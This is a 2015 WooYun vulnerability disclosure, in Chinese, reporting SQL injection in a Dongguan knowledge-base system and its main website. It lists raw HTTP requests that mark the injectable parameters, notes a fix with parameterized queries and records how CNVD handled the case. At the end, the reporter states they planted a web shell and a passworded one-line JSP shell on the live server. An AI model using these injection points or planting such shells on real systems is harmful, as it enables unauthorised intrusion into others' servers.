乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-23: 细节已通知厂商并且等待厂商处理中 2015-11-27: 厂商已经确认,细节仅向厂商公开 2015-12-07: 细节向核心白帽子及相关领域专家公开 2015-12-17: 细节向普通白帽子公开 2015-12-27: 细节向实习白帽子公开 2016-01-11: 细节向公众公开
几个系统多处sql注入漏洞打包
系统地址:东莞航信知识库http://**.**.**.**:8082/注入1#参数name
POST /updatepd HTTP/1.1Content-Length: 108Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://**.**.**.**:8082Cookie: JSESSIONID=EE1234862F306CE2876D846374403C68Host: **.**.**.**:8082Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*Submit=%e6%8f%90%e4%ba%a4&gh=1&name=1&password=1
注入2:参数chazhao、cxtj1
POST /search.jsp HTTP/1.1Content-Length: 63Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://**.**.**.**:8082Cookie: JSESSIONID=EE1234862F306CE2876D846374403C68Host: **.**.**.**:8082Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*chazhao=1&cxtj1=1
注入3:参数gh&参数password
POST /deallogin HTTP/1.1Content-Length: 104Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://**.**.**.**:8082Cookie: JSESSIONID=EE1234862F306CE2876D846374403C68Host: **.**.**.**:8082Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*Submit=%e7%99%bb%e5%bd%95&checkbox=checkbox&gh=1&password=1
主站:http://**.**.**.**注入1#
GET /Web/cxstaff.jsp?bm=11&leftid=22&name=11&page=11&pid=3&qy=11 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://**.**.**.**Cookie: JSESSIONID=168D0AA09CD4358CD5B2EB5F971F2B45Host: **.**.**.**Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*
注入2#
GET /Web/search.jsp?keyword=1&page=11 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://**.**.**.**Cookie: JSESSIONID=168D0AA09CD4358CD5B2EB5F971F2B45Host: **.**.**.**Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*
注入3:
POST /Web/whf.jsp?cid=23&leftid=23&pid=3 HTTP/1.1Content-Length: 64Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://**.**.**.**Cookie: JSESSIONID=168D0AA09CD4358CD5B2EB5F971F2B45Host: **.**.**.**Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*qymc=1&qysh=1
注入4:
GET /Web/yuedutd.jsp?booklx=1&bookname=1&leftid=0&page=6&pid=1 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://**.**.**.**Cookie: JSESSIONID=168D0AA09CD4358CD5B2EB5F971F2B45Host: **.**.**.**Connection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*
最后送上shellhttp://**.**.**.**:8082/wpp.jsp一句话:http://**.**.**.**:8082/wooyun.jsp密码pandas
知识库与主站一个服务器
参数化查询
危害等级:高
漏洞Rank:12
确认时间:2015-11-27 13:16
CNVD未直接复现所述情况,已经转由CNCERT下发给广东分中心,由其后续协调网站管理单位处置。
暂无